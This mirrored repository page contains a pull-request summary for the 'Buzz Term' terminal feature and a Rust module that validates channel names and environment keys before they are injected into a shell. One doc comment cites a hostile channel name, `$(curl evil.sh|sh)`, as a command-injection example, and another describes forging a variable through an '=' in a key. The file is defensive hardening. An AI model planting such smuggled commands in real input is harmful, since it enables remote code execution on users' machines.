mirror of
https://github.com/block/buzz.git
synced 2026-10-28 21:11:48 +00:00
## Summary - ship **Buzz Term** end to end: the terminal engine/runtime, mounted desktop substrate, and user-visible naming - add Quinn's tape-deck-inspired banner: a beveled chassis filled by the `buzz term` wordmark, surrounded by a complete-hex field - derive the wordmark's three-stop sweep from each theme's terminal palette so primary, secondary, and accent roles remain visibly distinct across all 62 shipped themes, including light themes - paint the banner once on its own pointer-transparent canvas; PTY rendering beneath it remains unchanged ## Banner behavior - uses the renderer's shared `8.4 × 17` cell metrics and production aspect ratio `2.0238` - regenerates only for viewport/theme changes; palette switches repaint correctly while the banner is visible - dismisses on non-empty output from the active terminal session; empty output and inactive sessions do not dismiss it - fails closed below **70 columns** rather than squeezing or clipping the wordmark - adds **8 lines** to `terminalRenderer.ts` for shared cell metrics and **zero lines inside `paint()`** ## Screenshots | Buzz (light) | Buzz Dark | |---|---| |  |  | | Kanagawa Lotus (light) | Red | |---|---| |  |  | Additional production-aspect finals: [Vesper](https://buzz.block.builderlab.xyz/media/9ca6514b63f8cfb2107a85ca46f16a940c0883848e6fbc718e411af94aa13100.png), [Min Dark](https://buzz.block.builderlab.xyz/media/f67bd2970e5d64ffb07b1ae78ab58c847e6ebc23e7e7a48e067eb024dba64ec8.png), and [Dark Plus](https://buzz.block.builderlab.xyz/media/290fee08924f37d064abc687ecf3e9526ab05b87e8e56d610f23048949793dbe.png). The screenshot harness was checked against the shipped painter at this exact head: all **2,541 draw calls** matched on color, glyph, x, and y; four deliberate divergence controls fired. ## Verification at `98ebc8f9048bd5f0ceb7e843b67874d642f0b7fd` - desktop tests: **3,946 / 3,946** - TypeScript: clean - checks: pass (two pre-existing informational `useTemplate` notices only) - integration/e2e: PASS (independent exact-SHA lane; artifacts recorded in the originating Buzz thread) - artifact/dead-path sweep: clean - redteam G1–G7: PASS - all six named banner emitter-deletion mutants die - independent handwritten five-row full-wordmark fixture kills Quinn's seven-mutant battery, including a one-pixel glyph change - real `112 × 46` canvas-rect dismissal tests separately cover active non-empty, active empty, and inactive non-empty output - layer-drop and zero-draw painter mutants die; z-order and pointer-events verified - CI's `tsc && vite build` includes all three banner modules - performance at DPR 2 (worst-case measured envelope): - one-time content paint: **~0.7–0.8 ms**, paid only when the banner is built or its palette changes - busy compositor, CSS `1277 × 697`, backing `2554 × 1394`: **470–497 µs/frame** for the full banner (**2.82–2.98%** of a 60 Hz frame) - busy compositor, CSS `1920 × 1080`, backing `3840 × 2160`: **1,139–1,212 µs/frame** (**6.83–7.27%**) - empty, one-glyph, and full-banner controls converge: compositor cost follows backing-layer area and DPR rather than painted-cell count - in the actual idle welcome state, cost is below both vsync-clamped rigs' resolution; it is not claimed as zero - **Pane cross-rig spread: resolved at matched loop rate.** Two independent rigs initially differed 2.3× (58–68 vs 136 µs/Mpx of backing store; pane, CSS 1277×697 / backing 2554×1394, DPR 2). The cause of *that* spread is rAF loop rate: the higher figure came from a free-running loop at ~1600fps. Throttled to ~200–236fps, both rigs read 58–68 µs/Mpx (1.25–1.44% of a 60Hz frame). The busy-composite figures quoted above remain the **unthrottled worst case** and are conservative by ~2.3× at the pane. Not established: the mechanism and sign of free-running distortion (one rig under-charges ~15%, the other over-charges 2.3×), and the 1080p figure has not been re-measured throttled. - the layer paints only on generation/theme/resize and dismisses on first non-empty active-session output, so the measurable busy cost is a short-lived worst case rather than a persistent PTY paint-path tax ## Follow-ups in this PR These are intentionally subsequent commits after the certified static-banner head, not claims about `98ebc8f90`: 1. close the compositor metrology: remeasure the 1080p point throttled and characterize the opposite-sign free-running rAF distortion, with each measurement regime stated 2. add Tyler's animated honeycomb color waves, gated by `prefers-reduced-motion`, a full 62-theme phase-sweep contrast check, and DPR-2 per-tick performance certification 3. land the already-proven mounted theme-switch regression probe from `RESEARCH/BUZZ_TERM_G3A_PROBE/` 4. bound the slow/hang-shaped G1-c mutant `waitFor` 5. optionally trim the generator to its ink bounding box, reducing the minimum viewport from 70 to 62 columns --------- Signed-off-by: tlongwell-block <109685178+tlongwell-block@users.noreply.github.com> Signed-off-by: npub1mprnacetjua2xx3p5eddmhxyk6wv929ymm5py8kd2xfxurxahspqqlgyta <d8473ee32b973aa31a21a65adddcc4b69cc2a8a4dee8121ecd51926e0cddbc02@buzz.block.builderlab.xyz> Signed-off-by: npub1jh9wn95s0472h86ahapupaf7m6kx4v9sx2n0atj2hltcfer8k06s5n3pyf <95cae996907d7cab9f5dbf43c0f53edeac6ab0b032a6feae4abfd784e467b3f5@buzz.block.builderlab.xyz> Signed-off-by: npub17jjz49l9jjmhhk7cac63j8yt9z555n9cw8vk7v5jz4vzw4ppld5qgj57cc <f4a42a97e594b77bdbd8ee35191c8b28a94a4cb871d96f32921558275421fb68@buzz.block.builderlab.xyz> Signed-off-by: npub1qyvc0c5kl4gqv2fd97fsk46tu378sqgy35vc83rvgfwne90sel7s0ed67d <011987e296fd5006292d2f930b574be47c7801048d1983c46c425d3c95f0cffd@buzz.block.builderlab.xyz> Co-authored-by: Dawn (sprout agent) <c6237ef84fa537c78dcee78efd2d4e59f728859c7f194da42ac51ededfa0be05@sprout-oss.stage.blox.sqprod.co> Co-authored-by: npub1t2tgm7d8f995uqvmnm8h88sg3wnpp9a5xysjf6dg3tjmgt3ltulqdp8ehr <5a968df9a7494b4e019b9ecf739e088ba61097b4312124e9a88ae5b42e3f5f3e@buzz.block.builderlab.xyz> Co-authored-by: npub1cc3ha7z055mu0rwwu7806t2wt8mj3pvu0uv5mfp2c50dahaqhczshdalg6 <c6237ef84fa537c78dcee78efd2d4e59f728859c7f194da42ac51ededfa0be05@buzz.block.builderlab.xyz> Co-authored-by: npub17jjz49l9jjmhhk7cac63j8yt9z555n9cw8vk7v5jz4vzw4ppld5qgj57cc <f4a42a97e594b77bdbd8ee35191c8b28a94a4cb871d96f32921558275421fb68@buzz.block.builderlab.xyz> Co-authored-by: npub1jh9wn95s0472h86ahapupaf7m6kx4v9sx2n0atj2hltcfer8k06s5n3pyf <95cae996907d7cab9f5dbf43c0f53edeac6ab0b032a6feae4abfd784e467b3f5@buzz.block.builderlab.xyz> Co-authored-by: npub1mprnacetjua2xx3p5eddmhxyk6wv929ymm5py8kd2xfxurxahspqqlgyta <d8473ee32b973aa31a21a65adddcc4b69cc2a8a4dee8121ecd51926e0cddbc02@buzz.block.builderlab.xyz> Co-authored-by: npub1qyvc0c5kl4gqv2fd97fsk46tu378sqgy35vc83rvgfwne90sel7s0ed67d <011987e296fd5006292d2f930b574be47c7801048d1983c46c425d3c95f0cffd@buzz.block.builderlab.xyz>
104 lines
4.4 KiB
Rust
104 lines
4.4 KiB
Rust
//! GUI context injected into the child shell.
|
|
//!
|
|
//! The terminal knows which channel and thread the user is looking at, so a
|
|
//! script in the substrate can act on it. That context crosses a trust
|
|
//! boundary: a channel *name* is attacker-controlled — anyone who can create
|
|
//! a channel picks the string — and it lands in an environment variable that
|
|
//! shells interpolate into prompts. A `PS1` containing `$BUZZ_CHANNEL` turns a
|
|
//! channel named `$(curl evil.sh|sh)` into command execution the moment the
|
|
//! user opens a terminal.
|
|
//!
|
|
//! Two rules follow, and the second one is the load-bearing one:
|
|
//!
|
|
//! 1. **Validate, don't sanitize.** Stripping dangerous characters is an
|
|
//! endless negotiation with an attacker who chooses the input. We accept a
|
|
//! conservative character class and reject everything else.
|
|
//! 2. **On rejection, substitute — never strip.** A stripped name is still a
|
|
//! name, and it is *wrong* in a way the user cannot see: `$(evil)` becomes
|
|
//! `evil`, which looks like a real channel. We substitute the channel UUID,
|
|
//! which is unambiguous, always safe, and visibly not a name — the user can
|
|
//! tell something was replaced.
|
|
|
|
/// Maximum accepted channel-name length, in characters.
|
|
const MAX_CHANNEL_NAME_CHARS: usize = 64;
|
|
|
|
/// The GUI state a spawned terminal is told about.
|
|
#[derive(Debug, Clone)]
|
|
pub struct GuiContext {
|
|
pub channel_id: String,
|
|
pub channel_name: String,
|
|
pub thread_id: Option<String>,
|
|
pub npub: String,
|
|
pub relay_url: String,
|
|
pub session_id: String,
|
|
}
|
|
|
|
/// Returns true if `name` is safe to expose as `BUZZ_CHANNEL`.
|
|
///
|
|
/// Unicode letters, digits and marks are accepted so non-Latin channel names
|
|
/// survive, plus space and `-`/`_`/`.`. Everything a shell gives meaning to —
|
|
/// `$`, backtick, `;`, `|`, `&`, quotes, newline, NUL, `=` — is outside the
|
|
/// class and therefore rejected rather than removed.
|
|
fn is_safe_channel_name(name: &str) -> bool {
|
|
!name.is_empty()
|
|
&& name.chars().count() <= MAX_CHANNEL_NAME_CHARS
|
|
&& name
|
|
.chars()
|
|
.all(|c| c.is_alphanumeric() || matches!(c, ' ' | '-' | '_' | '.'))
|
|
}
|
|
|
|
/// The value to expose as `BUZZ_CHANNEL`: the name when it is safe, otherwise
|
|
/// the channel UUID.
|
|
pub fn channel_display(context: &GuiContext) -> &str {
|
|
if is_safe_channel_name(&context.channel_name) {
|
|
&context.channel_name
|
|
} else {
|
|
&context.channel_id
|
|
}
|
|
}
|
|
|
|
/// Returns true if `key` is a well-formed POSIX env var name:
|
|
/// `[A-Za-z_][A-Za-z0-9_]*`.
|
|
///
|
|
/// Mirrors `is_well_formed_env_key` in the desktop crate
|
|
/// (`src/managed_agents/env_vars.rs`), whose rationale applies verbatim here:
|
|
/// `CommandBuilder::env` will pass a key containing `=` straight into the
|
|
/// child's environ block, where `getenv("FOO")` matches whatever follows the
|
|
/// first `=`. A key `BUZZ_CHANNEL=x` with value `y` lands as
|
|
/// `BUZZ_CHANNEL=x=y`, so `getenv("BUZZ_CHANNEL")` returns `"x=y"` — a way to
|
|
/// forge a variable the fence otherwise controls.
|
|
///
|
|
/// Every key we inject is a compile-time literal today, so this cannot fire
|
|
/// yet. It is here because the *next* injected key may not be: the check
|
|
/// belongs at the boundary, not in the reviewer's memory.
|
|
pub fn is_well_formed_env_key(key: &str) -> bool {
|
|
let mut chars = key.chars();
|
|
match chars.next() {
|
|
Some(c) if c == '_' || c.is_ascii_alphabetic() => {}
|
|
_ => return false,
|
|
}
|
|
chars.all(|c| c == '_' || c.is_ascii_alphanumeric())
|
|
}
|
|
|
|
/// The context variables to inject, in order.
|
|
///
|
|
/// `BUZZ_CHANNEL` carries the validated display value; `BUZZ_CHANNEL_ID` is
|
|
/// always the UUID, so a script that needs an unambiguous identifier has one
|
|
/// that no channel name can spoof.
|
|
pub fn context_vars(context: &GuiContext) -> Vec<(&'static str, String)> {
|
|
let mut vars = vec![
|
|
("BUZZ_CHANNEL_ID", context.channel_id.clone()),
|
|
("BUZZ_CHANNEL", channel_display(context).to_owned()),
|
|
("BUZZ_NPUB", context.npub.clone()),
|
|
("BUZZ_RELAY_URL", context.relay_url.clone()),
|
|
("BUZZ_TERM_SESSION", context.session_id.clone()),
|
|
("BUZZ_TERM_VERSION", env!("CARGO_PKG_VERSION").to_owned()),
|
|
];
|
|
// Absent rather than empty when the user is not in a thread: `-n
|
|
// "$BUZZ_THREAD_ID"` and `${BUZZ_THREAD_ID+set}` should agree.
|
|
if let Some(thread_id) = &context.thread_id {
|
|
vars.push(("BUZZ_THREAD_ID", thread_id.clone()));
|
|
}
|
|
vars
|
|
}
|